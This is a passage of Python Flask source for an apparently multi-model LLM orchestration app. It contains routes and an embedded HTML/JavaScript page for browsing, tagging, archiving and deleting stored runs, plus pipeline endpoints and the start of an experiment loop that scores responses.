}catch(e){document.getElementById('db-runs').textContent='Error: '+e.message}
|
|
}
|
|
|
|
async function poll(){
|
|
try{
|
|
var r=await fetch('/api/admin/monitor');
|
|
var d=await r.json();
|
|
document.getElementById('s-active').textContent=d.active.length;
|
|
document.getElementById('s-total').textContent=d.recent.length;
|
|
var errs=d.recent.reduce(function(a,r){return a+((r.errors&&r.errors.length)||0)},0);
|
|
document.getElementById('s-errors').textContent=errs;
|
|
var durations=d.recent.filter(function(r){return r.duration}).map(function(r){return r.duration});
|
|
document.getElementById('s-avgtime').textContent=durations.length?fmt(durations.reduce(function(a,b){return a+b},0)/durations.length):'—';
|
|
renderActive(d.active);
|
|
renderRecent(d.recent);
|
|
}catch(e){console.error('Monitor poll error:',e)}
|
|
}
|
|
poll();
|
|
loadDBRuns();
|
|
setInterval(poll,3000);
|
|
</script>
|
|
</body></html>"""
|
|
|
|
|
|
# ─── HISTORY ROUTES ────────────────────────────────────────────
|
|
|
|
@app.route("/api/runs")
|
|
@login_required
|
|
def get_runs():
|
|
show = request.args.get("show", "active") # active, archived, all
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
if show == "archived":
|
|
cur.execute("SELECT id, mode, prompt, models_used, created_at, archived FROM team_runs WHERE archived = true ORDER BY created_at DESC LIMIT 200")
|
|
elif show == "all":
|
|
cur.execute("SELECT id, mode, prompt, models_used, created_at, archived FROM team_runs ORDER BY created_at DESC LIMIT 200")
|
|
else:
|
|
cur.execute("SELECT id, mode, prompt, models_used, created_at, archived FROM team_runs WHERE archived = false ORDER BY created_at DESC LIMIT 50")
|
|
runs = cur.fetchall()
|
|
for r in runs:
|
|
r["created_at"] = r["created_at"].isoformat()
|
|
return jsonify({"runs": runs})
|
|
except Exception as e:
|
|
return jsonify({"runs": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/api/runs/<int:run_id>")
|
|
@login_required
|
|
def get_run(run_id):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT * FROM team_runs WHERE id = %s", (run_id,))
|
|
run = cur.fetchone()
|
|
if not run:
|
|
return jsonify({"error": "not found"}), 404
|
|
run["created_at"] = run["created_at"].isoformat()
|
|
return jsonify(run)
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/runs/<int:run_id>", methods=["DELETE"])
|
|
@login_required
|
|
def delete_run(run_id):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("DELETE FROM team_runs WHERE id = %s", (run_id,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/runs/<int:run_id>/archive", methods=["POST"])
|
|
@login_required
|
|
def archive_run(run_id):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE team_runs SET archived = true WHERE id = %s", (run_id,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/runs/<int:run_id>/restore", methods=["POST"])
|
|
@login_required
|
|
def restore_run(run_id):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE team_runs SET archived = false WHERE id = %s", (run_id,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/runs/bulk-archive", methods=["POST"])
|
|
@admin_required
|
|
def bulk_archive_runs():
|
|
data = request.json or {}
|
|
action = data.get("action", "archive") # archive or restore
|
|
ids = data.get("ids", [])
|
|
before = data.get("before") # archive all before this date
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
archived_val = action == "archive"
|
|
if ids:
|
|
cur.execute("UPDATE team_runs SET archived = %s WHERE id = ANY(%s)", (archived_val, ids))
|
|
count = cur.rowcount
|
|
elif before:
|
|
cur.execute("UPDATE team_runs SET archived = %s WHERE created_at < %s AND archived = %s",
|
|
(archived_val, before, not archived_val))
|
|
count = cur.rowcount
|
|
else:
|
|
# Archive all
|
|
cur.execute("UPDATE team_runs SET archived = true WHERE archived = false")
|
|
count = cur.rowcount
|
|
conn.commit()
|
|
return jsonify({"ok": True, "count": count})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/runs/<int:run_id>/tags", methods=["POST"])
|
|
@login_required
|
|
def update_run_tags(run_id):
|
|
data = request.json or {}
|
|
tags = data.get("tags", [])
|
|
notes = data.get("notes")
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
if notes is not None:
|
|
cur.execute("UPDATE team_runs SET tags = %s, notes = %s WHERE id = %s", (tags, notes, run_id))
|
|
else:
|
|
cur.execute("UPDATE team_runs SET tags = %s WHERE id = %s", (tags, run_id))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/runs/tags")
|
|
@login_required
|
|
def get_all_tags():
|
|
"""Get all unique tags in use."""
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("SELECT DISTINCT unnest(tags) as tag FROM team_runs ORDER BY tag")
|
|
tags = [r[0] for r in cur.fetchall()]
|
|
return jsonify({"tags": tags})
|
|
except Exception as e:
|
|
return jsonify({"tags": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/api/runs/vectors")
|
|
@login_required
|
|
def get_run_vectors():
|
|
"""Return runs as structured text documents for AI/embedding consumption."""
|
|
limit = min(int(request.args.get("limit", 50)), 500)
|
|
mode_filter = request.args.get("mode", "")
|
|
tag_filter = request.args.get("tag", "")
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
conditions = ["archived = false"]
|
|
params = []
|
|
if mode_filter:
|
|
conditions.append("mode = %s")
|
|
params.append(mode_filter)
|
|
if tag_filter:
|
|
conditions.append("%s = ANY(tags)")
|
|
params.append(tag_filter)
|
|
where = " AND ".join(conditions)
|
|
params.append(limit)
|
|
cur.execute(f"SELECT * FROM team_runs WHERE {where} ORDER BY created_at DESC LIMIT %s", params)
|
|
runs = cur.fetchall()
|
|
|
|
vectors = []
|
|
for run in runs:
|
|
responses = run.get("responses") or []
|
|
# Build structured document
|
|
doc_parts = [
|
|
f"MODE: {run['mode']}",
|
|
f"PROMPT: {run['prompt']}",
|
|
f"MODELS: {', '.join(run.get('models_used') or [])}",
|
|
f"DATE: {run['created_at'].isoformat()}",
|
|
f"TAGS: {', '.join(run.get('tags') or [])}",
|
|
]
|
|
if run.get("notes"):
|
|
doc_parts.append(f"NOTES: {run['notes']}")
|
|
for i, resp in enumerate(responses):
|
|
doc_parts.append(f"\n--- RESPONSE {i+1} [{resp.get('role','?')}] by {resp.get('model','?')} ---")
|
|
doc_parts.append(resp.get("text", "")[:2000])
|
|
document = "\n".join(doc_parts)
|
|
vectors.append({
|
|
"id": run["id"],
|
|
"mode": run["mode"],
|
|
"prompt": run["prompt"],
|
|
"tags": run.get("tags") or [],
|
|
"document": document,
|
|
"char_count": len(document),
|
|
"token_estimate": len(document) // 4
|
|
})
|
|
return jsonify({"vectors": vectors, "total": len(vectors)})
|
|
except Exception as e:
|
|
return jsonify({"vectors": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/history")
|
|
@login_required
|
|
def history_page():
|
|
return HISTORY_HTML
|
|
|
|
|
|
HISTORY_HTML = r"""<!DOCTYPE html>
|
|
<html lang="en"><head>
|
|
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
|
|
<title>LLM Team — History</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--green:#4ade80;--red:#e05252;--blue:#5b9cf5}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;padding:20px 28px}
|
|
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
|
|
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
|
|
.wrap{position:relative;z-index:10;max-width:1400px;margin:0 auto}
|
|
header{display:flex;align-items:center;gap:14px;padding-bottom:18px;border-bottom:2px solid var(--border);margin-bottom:20px}
|
|
h1{font-family:'JetBrains Mono',monospace;font-size:18px;font-weight:700}
|
|
h1 span{color:var(--accent)}
|
|
.back{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px;border:2px solid var(--border);padding:5px 12px;border-radius:2px}
|
|
.back:hover{border-color:var(--accent);color:var(--accent)}
|
|
.toolbar{display:flex;gap:6px;align-items:center;margin-bottom:14px;flex-wrap:wrap}
|
|
.tool-btn{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:0.5px;padding:5px 12px;border:2px solid var(--border);border-radius:2px;background:transparent;color:var(--text2);cursor:pointer}
|
|
.tool-btn:hover{border-color:var(--accent);color:var(--accent)}
|
|
.tool-btn.active{border-color:var(--accent);color:var(--accent);background:rgba(226,181,90,0.06)}
|
|
.tool-btn.mag{border-color:rgba(217,70,239,0.3);color:#d946ef}
|
|
.tool-btn.mag:hover{background:rgba(217,70,239,0.06)}
|
|
.tool-btn.grn{border-color:rgba(74,222,128,0.3);color:var(--green)}
|
|
.tool-btn.red{border-color:rgba(224,82,82,0.3);color:var(--red)}
|
|
.tool-select{font-family:'JetBrains Mono',monospace;font-size:10px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:4px 8px}
|
|
.tool-input{font-family:'JetBrains Mono',monospace;font-size:10px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:4px 10px;flex:1;min-width:120px}
|
|
.spacer{flex:1}
|
|
.count-badge{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--text2)}
|
|
.run-table{width:100%}
|
|
.run-row{display:grid;grid-template-columns:30px 50px 90px 1fr 80px 100px 80px;gap:8px;padding:8px 10px;border-bottom:1px solid rgba(42,45,53,0.3);align-items:center;font-size:11px;cursor:pointer;transition:background 0.1s}
|
|
.run-row:hover{background:rgba(226,181,90,0.03)}
|
|
.run-row.archived{opacity:0.4}
|
|
.run-hdr{font-family:'JetBrains Mono',monospace;font-size:8px;text-transform:uppercase;letter-spacing:1px;color:var(--text2);cursor:default;border-bottom:2px solid var(--border)}
|
|
.run-hdr:hover{background:transparent}
|
|
.run-id{color:var(--text2);font-family:'JetBrains Mono',monospace}
|
|
.run-mode{font-family:'JetBrains Mono',monospace;font-weight:700;color:var(--accent);font-size:10px;text-transform:uppercase}
|
|
.run-prompt{color:var(--text);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
|
|
.run-models{color:var(--text2);font-family:'JetBrains Mono',monospace;font-size:10px}
|
|
.run-date{color:var(--text2);font-family:'JetBrains Mono',monospace;font-size:9px}
|
|
.run-tags{display:flex;gap:3px;flex-wrap:wrap}
|
|
.tag-pill{font-family:'JetBrains Mono',monospace;font-size:8px;padding:1px 6px;border:1px solid rgba(192,132,252,0.3);border-radius:1px;color:#c084fc}
|
|
.detail-panel{display:none;background:var(--surface);border:2px solid var(--accent);border-radius:2px;padding:20px;margin-bottom:20px;backdrop-filter:blur(16px)}
|
|
.detail-panel.open{display:block}
|
|
.detail-header{display:flex;gap:10px;align-items:center;margin-bottom:12px;flex-wrap:wrap}
|
|
.detail-prompt{font-size:13px;line-height:1.6;margin-bottom:12px}
|
|
.detail-actions{display:flex;gap:4px;margin-bottom:14px;flex-wrap:wrap}
|
|
.tag-editor{display:flex;gap:4px;align-items:center;margin-bottom:12px}
|
|
.tag-editor input{font-family:'JetBrains Mono',monospace;font-size:10px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:4px 8px;width:120px}
|
|
.notes-area{width:100%;min-height:40px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:8px;font-size:12px;font-family:'JetBrains Mono',monospace;resize:vertical;margin-bottom:12px}
|
|
.notes-area:focus{border-color:var(--accent);outline:none}
|
|
.resp-card{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;margin-bottom:6px;overflow:hidden}
|
|
.resp-head{display:flex;align-items:center;gap:8px;padding:8px 12px;border-bottom:1px solid var(--border);font-family:'JetBrains Mono',monospace;font-size:11px;cursor:pointer}
|
|
.resp-head:hover{background:rgba(226,181,90,0.03)}
|
|
.resp-role{font-size:9px;text-transform:uppercase;letter-spacing:1px;color:#c084fc;margin-left:auto}
|
|
.resp-body{display:none;padding:12px;font-size:12px;line-height:1.6;white-space:pre-wrap;max-height:400px;overflow-y:auto}
|
|
.resp-body.open{display:block}
|
|
.empty{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--text2);padding:40px;text-align:center;opacity:0.5}
|
|
.toast{position:fixed;top:20px;right:20px;padding:8px 14px;border-radius:2px;font-size:10px;z-index:100;font-family:'JetBrains Mono',monospace;border:2px solid;backdrop-filter:blur(16px)}
|
|
.toast.ok{background:rgba(74,222,128,0.1);border-color:var(--green);color:var(--green)}
|
|
.toast.err{background:rgba(224,82,82,0.1);border-color:var(--red);color:var(--red)}
|
|
@media(max-width:768px){.run-row{grid-template-columns:30px 60px 1fr 60px}.run-models,.run-date,.run-tags{display:none}}
|
|
</style></head><body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="wrap">
|
|
<header>
|
|
<h1><span>History</span> // Run Archive</h1>
|
|
<nav style="margin-left:auto;display:flex;gap:6px">
|
|
<a class="back" href="/">Team</a>
|
|
<a class="back" href="/admin/monitor">Monitor</a>
|
|
<a class="back" href="/logs">Logs</a>
|
|
<a class="back" href="/admin">Admin</a>
|
|
</nav>
|
|
</header>
|
|
|
|
<!-- Toolbar -->
|
|
<div class="toolbar">
|
|
<button class="tool-btn active" id="tb-active" onclick="setView('active')">Active</button>
|
|
<button class="tool-btn" id="tb-archived" onclick="setView('archived')">Archived</button>
|
|
<button class="tool-btn" id="tb-all" onclick="setView('all')">All</button>
|
|
<span style="width:2px;height:16px;background:var(--border);margin:0 2px"></span>
|
|
<select class="tool-select" id="filter-mode" onchange="loadRuns()"><option value="">All Modes</option></select>
|
|
<select class="tool-select" id="filter-tag" onchange="loadRuns()"><option value="">All Tags</option></select>
|
|
<input class="tool-input" id="filter-search" placeholder="Search prompts..." oninput="filterLocal()">
|
|
<span class="spacer"></span>
|
|
<span class="count-badge" id="run-count"></span>
|
|
<button class="tool-btn mag" onclick="archiveSelected()">Archive Sel.</button>
|
|
<button class="tool-btn grn" onclick="restoreSelected()">Restore Sel.</button>
|
|
</div>
|
|
|
|
<!-- Detail panel -->
|
|
<div class="detail-panel" id="detail-panel"></div>
|
|
|
|
<!-- Run table -->
|
|
<div class="run-table" id="run-table">
|
|
<div class="run-row run-hdr">
|
|
<span></span><span>ID</span><span>Mode</span><span>Prompt</span><span>Models</span><span>Tags</span><span>Date</span>
|
|
</div>
|
|
<div id="run-list"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
</div>
|
|
<script>
|
|
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
|
|
|
|
var currentView = 'active';
|
|
var allRuns = [];
|
|
|
|
function setView(v) {
|
|
currentView = v;
|
|
document.querySelectorAll('.toolbar .tool-btn').forEach(function(b){b.classList.remove('active')});
|
|
document.getElementById('tb-'+v).classList.add('active');
|
|
loadRuns();
|
|
}
|
|
|
|
function toast(msg, ok) {
|
|
var t = document.createElement('div'); t.className = 'toast ' + (ok?'ok':'err');
|
|
t.textContent = msg; document.body.appendChild(t);
|
|
setTimeout(function(){t.remove()},2500);
|
|
}
|
|
|
|
async function loadRuns() {
|
|
var mode = document.getElementById('filter-mode').value;
|
|
var tag = document.getElementById('filter-tag').value;
|
|
var url = '/api/runs?show=' + currentView;
|
|
var r = await fetch(url);
|
|
var d = await r.json();
|
|
allRuns = d.runs || [];
|
|
// Client-side filter by mode/tag
|
|
if (mode) allRuns = allRuns.filter(function(r){return r.mode === mode});
|
|
if (tag) allRuns = allRuns.filter(function(r){return (r.tags||[]).indexOf(tag)>=0});
|
|
filterLocal();
|
|
document.getElementById('run-count').textContent = allRuns.length + ' runs';
|
|
}
|
|
|
|
function filterLocal() {
|
|
var q = (document.getElementById('filter-search').value||'').toLowerCase();
|
|
var filtered = q ? allRuns.filter(function(r){return (r.prompt||'').toLowerCase().indexOf(q)>=0 || r.mode.toLowerCase().indexOf(q)>=0}) : allRuns;
|
|
renderTable(filtered);
|
|
}
|
|
|
|
function renderTable(runs) {
|
|
var el = document.getElementById('run-list');
|
|
if (!runs.length) { el.textContent = ''; var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No runs found'; el.appendChild(e); return; }
|
|
el.textContent = '';
|
|
runs.forEach(function(r) {
|
|
var row = document.createElement('div');
|
|
row.className = 'run-row' + (r.archived ? ' archived' : '');
|
|
// Checkbox
|
|
var cb = document.createElement('input'); cb.type = 'checkbox'; cb.dataset.id = r.id;
|
|
cb.style.cssText = 'width:14px;height:14px;accent-color:#e2b55a;cursor:pointer';
|
|
cb.onclick = function(e){e.stopPropagation()};
|
|
row.appendChild(cb);
|
|
// ID
|
|
var idEl = document.createElement('span'); idEl.className = 'run-id'; idEl.textContent = '#'+r.id; row.appendChild(idEl);
|
|
// Mode
|
|
var modeEl = document.createElement('span'); modeEl.className = 'run-mode'; modeEl.textContent = r.mode; row.appendChild(modeEl);
|
|
// Prompt
|
|
var promptEl = document.createElement('span'); promptEl.className = 'run-prompt'; promptEl.textContent = (r.prompt||'').substring(0,100); promptEl.title = r.prompt||''; row.appendChild(promptEl);
|
|
// Models
|
|
var modelsEl = document.createElement('span'); modelsEl.className = 'run-models'; modelsEl.textContent = (r.models_used||[]).length + ' models'; row.appendChild(modelsEl);
|
|
// Tags
|
|
var tagsEl = document.createElement('span'); tagsEl.className = 'run-tags';
|
|
(r.tags||[]).forEach(function(t){ var pill = document.createElement('span'); pill.className = 'tag-pill'; pill.textContent = t; tagsEl.appendChild(pill); });
|
|
row.appendChild(tagsEl);
|
|
// Date
|
|
var dateEl = document.createElement('span'); dateEl.className = 'run-date';
|
|
var dt = new Date(r.created_at); dateEl.textContent = dt.toLocaleDateString()+' '+dt.toLocaleTimeString([],{hour:'2-digit',minute:'2-digit'});
|
|
row.appendChild(dateEl);
|
|
row.onclick = function(){openDetail(r.id)};
|
|
el.appendChild(row);
|
|
});
|
|
}
|
|
|
|
async function openDetail(id) {
|
|
var panel = document.getElementById('detail-panel');
|
|
panel.className = 'detail-panel open';
|
|
panel.textContent = 'Loading...';
|
|
var r = await fetch('/api/runs/'+id);
|
|
var run = await r.json();
|
|
if (run.error) { panel.textContent = 'Error: '+run.error; return; }
|
|
panel.textContent = '';
|
|
|
|
// Header
|
|
var hdr = document.createElement('div'); hdr.className = 'detail-header';
|
|
var closeBtn = document.createElement('button'); closeBtn.className = 'tool-btn';
|
|
closeBtn.textContent = '✕ Close'; closeBtn.onclick = function(){panel.className='detail-panel';};
|
|
hdr.appendChild(closeBtn);
|
|
var modeTag = document.createElement('span'); modeTag.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;text-transform:uppercase;letter-spacing:1px;color:var(--accent);font-weight:700';
|
|
modeTag.textContent = run.mode + ' #' + id; hdr.appendChild(modeTag);
|
|
var dateTag = document.createElement('span'); dateTag.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:var(--text2)';
|
|
dateTag.textContent = new Date(run.created_at).toLocaleString(); hdr.appendChild(dateTag);
|
|
panel.appendChild(hdr);
|
|
|
|
// Prompt
|
|
var prompt = document.createElement('div'); prompt.className = 'detail-prompt'; prompt.textContent = run.prompt; panel.appendChild(prompt);
|
|
|
|
// Tags editor
|
|
var tagEd = document.createElement('div'); tagEd.className = 'tag-editor';
|
|
var tagLabel = document.createElement('span'); tagLabel.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1px;color:var(--text2)';
|
|
tagLabel.textContent = 'Tags: '; tagEd.appendChild(tagLabel);
|
|
var currentTags = run.tags || [];
|
|
currentTags.forEach(function(t){
|
|
var pill = document.createElement('span'); pill.className = 'tag-pill'; pill.style.cursor = 'pointer';
|
|
pill.textContent = t + ' ✕'; pill.title = 'Remove tag';
|
|
pill.onclick = function(){ currentTags = currentTags.filter(function(x){return x!==t}); saveTags(id,currentTags,null); };
|
|
tagEd.appendChild(pill);
|
|
});
|
|
var tagInput = document.createElement('input'); tagInput.placeholder = 'Add tag...';
|
|
tagInput.onkeydown = function(e){ if(e.key==='Enter'&&tagInput.value.trim()){ currentTags.push(tagInput.value.trim()); saveTags(id,currentTags,null); tagInput.value=''; }};
|
|
tagEd.appendChild(tagInput);
|
|
panel.appendChild(tagEd);
|
|
|
|
// Notes
|
|
var notesArea = document.createElement('textarea'); notesArea.className = 'notes-area';
|
|
notesArea.placeholder = 'Add notes...'; notesArea.value = run.notes || '';
|
|
var saveTimer;
|
|
notesArea.oninput = function(){ clearTimeout(saveTimer); saveTimer = setTimeout(function(){ saveTags(id, null, notesArea.value); }, 1000); };
|
|
panel.appendChild(notesArea);
|
|
|
|
// Actions
|
|
var actions = document.createElement('div'); actions.className = 'detail-actions';
|
|
if (run.archived) {
|
|
var restBtn = document.createElement('button'); restBtn.className = 'tool-btn grn'; restBtn.textContent = 'Restore';
|
|
restBtn.onclick = function(){ fetch('/api/runs/'+id+'/restore',{method:'POST'}).then(function(){toast('Restored',true);loadRuns()}); };
|
|
actions.appendChild(restBtn);
|
|
} else {
|
|
var archBtn = document.createElement('button'); archBtn.className = 'tool-btn mag'; archBtn.textContent = 'Archive';
|
|
archBtn.onclick = function(){ fetch('/api/runs/'+id+'/archive',{method:'POST'}).then(function(){toast('Archived',true);loadRuns();panel.className='detail-panel'}); };
|
|
actions.appendChild(archBtn);
|
|
}
|
|
var delBtn = document.createElement('button'); delBtn.className = 'tool-btn red'; delBtn.textContent = 'Delete';
|
|
delBtn.onclick = function(){ if(confirm('Delete permanently?')){fetch('/api/runs/'+id,{method:'DELETE'}).then(function(){toast('Deleted',true);loadRuns();panel.className='detail-panel'})} };
|
|
actions.appendChild(delBtn);
|
|
panel.appendChild(actions);
|
|
|
|
// Responses
|
|
var responses = run.responses || [];
|
|
var respTitle = document.createElement('div');
|
|
respTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:2px;color:var(--accent);margin-bottom:8px';
|
|
respTitle.textContent = responses.length + ' Responses'; panel.appendChild(respTitle);
|
|
responses.forEach(function(resp,i){
|
|
var card = document.createElement('div'); card.className = 'resp-card';
|
|
var head = document.createElement('div'); head.className = 'resp-head';
|
|
head.textContent = resp.model || '?';
|
|
var role = document.createElement('span'); role.className = 'resp-role'; role.textContent = resp.role||'';
|
|
head.appendChild(role);
|
|
var body = document.createElement('div'); body.className = 'resp-body';
|
|
body.textContent = resp.text || '';
|
|
head.onclick = function(){ body.classList.toggle('open'); };
|
|
card.appendChild(head); card.appendChild(body); panel.appendChild(card);
|
|
});
|
|
panel.scrollIntoView({behavior:'smooth',block:'start'});
|
|
}
|
|
|
|
async function saveTags(id, tags, notes) {
|
|
var body = {};
|
|
if (tags !== null) body.tags = tags;
|
|
if (notes !== null) body.notes = notes;
|
|
await fetch('/api/runs/'+id+'/tags', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
|
|
toast('Saved', true);
|
|
if (tags !== null) loadRuns();
|
|
}
|
|
|
|
function getSelectedIds() {
|
|
var ids = [];
|
|
document.querySelectorAll('#run-list input[type=checkbox]:checked').forEach(function(cb){ids.push(parseInt(cb.dataset.id))});
|
|
return ids;
|
|
}
|
|
|
|
async function archiveSelected() {
|
|
var ids = getSelectedIds();
|
|
if (!ids.length) return toast('Select runs first', false);
|
|
if (!confirm('Archive '+ids.length+' runs?')) return;
|
|
await fetch('/api/runs/bulk-archive',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({action:'archive',ids:ids})});
|
|
toast('Archived '+ids.length, true); loadRuns();
|
|
}
|
|
|
|
async function restoreSelected() {
|
|
var ids = getSelectedIds();
|
|
if (!ids.length) return toast('Select runs first', false);
|
|
await fetch('/api/runs/bulk-archive',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({action:'restore',ids:ids})});
|
|
toast('Restored '+ids.length, true); loadRuns();
|
|
}
|
|
|
|
async function loadFilters() {
|
|
var modeSelect = document.getElementById('filter-mode');
|
|
var tagSelect = document.getElementById('filter-tag');
|
|
// Get unique modes from runs
|
|
var r = await fetch('/api/runs?show=all');
|
|
var d = await r.json();
|
|
var modes = new Set(); (d.runs||[]).forEach(function(r){modes.add(r.mode)});
|
|
modes.forEach(function(m){ var o = document.createElement('option'); o.value = m; o.textContent = m; modeSelect.appendChild(o); });
|
|
// Tags
|
|
var tr = await fetch('/api/runs/tags');
|
|
var td = await tr.json();
|
|
(td.tags||[]).forEach(function(t){ var o = document.createElement('option'); o.value = t; o.textContent = t; tagSelect.appendChild(o); });
|
|
}
|
|
|
|
loadFilters();
|
|
loadRuns();
|
|
</script>
|
|
</body></html>"""
|
|
|
|
|
|
@app.route("/api/pipelines")
|
|
@login_required
|
|
def get_pipelines():
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT id, pipeline, topic, status, models_used, duration_ms, created_at FROM pipeline_runs ORDER BY created_at DESC LIMIT 50")
|
|
runs = cur.fetchall()
|
|
for r in runs:
|
|
r["created_at"] = r["created_at"].isoformat() if r["created_at"] else None
|
|
return jsonify({"pipelines": runs})
|
|
except Exception as e:
|
|
return jsonify({"pipelines": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/api/pipelines/<int:pid>")
|
|
@login_required
|
|
def get_pipeline(pid):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT * FROM pipeline_runs WHERE id = %s", (pid,))
|
|
run = cur.fetchone()
|
|
if not run:
|
|
return jsonify({"error": "not found"}), 404
|
|
run["created_at"] = run["created_at"].isoformat() if run["created_at"] else None
|
|
run["completed_at"] = run["completed_at"].isoformat() if run["completed_at"] else None
|
|
return jsonify(run)
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
# ─── LAB: RATCHET ENGINE ──────────────────────────────────────
|
|
|
|
_lab_threads = {} # experiment_id -> thread
|
|
_lab_streams = {} # experiment_id -> [queue, ...]
|
|
|
|
def _lab_emit(exp_id, data):
|
|
for q in _lab_streams.get(exp_id, []):
|
|
q.append(data)
|
|
|
|
|
|
def _score_response(response, expected, metric, judge_model=None):
|
|
if metric == "accuracy":
|
|
if not expected:
|
|
return 5.0
|
|
resp_lower = response.lower().strip()
|
|
exp_lower = expected.lower().strip()
|
|
if exp_lower in resp_lower:
|
|
return 10.0
|
|
if any(w in resp_lower for w in exp_lower.split()):
|
|
return 5.0
|
|
return 1.0
|
|
elif metric == "speed":
|
|
return 10.0 # speed scored externally by duration
|
|
elif metric == "quality" and judge_model:
|
|
try:
|
|
judgment = query_model(judge_model,
|
|
f"Rate this response 1-10 for quality, relevance, and completeness.\n\n"
|
|
f"EXPECTED: {expected or 'No expected output specified'}\n\n"
|
|
f"RESPONSE: {response[:1500]}\n\n"
|
|
f"Return ONLY a number 1-10, nothing else.")
|
|
import re
|
|
m = re.search(r'\b(\d+)\b', judgment)
|
|
return min(float(m.group(1)), 10.0) if m else 5.0
|
|
except Exception:
|
|
return 5.0
|
|
return 5.0
|
|
|
|
|
|
def _ratchet_loop(exp_id):
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT * FROM lab_experiments WHERE id = %s", (exp_id,))
|
|
exp = cur.fetchone()
|
|
if not exp:
|
|
return
|
|
|
|
eval_cases = exp["eval_cases"] or []
|
|
models_pool = exp["models_pool"] or []
|
|
metric = exp["metric"] or "quality"
|
|
objective = exp["objective"] or "Improve response quality"
|
|
mutable = exp["mutable_config"] or {
|
|
"system_prompt": "You are a helpful assistant.",
|
|
"temperature": 0.7,
|
|
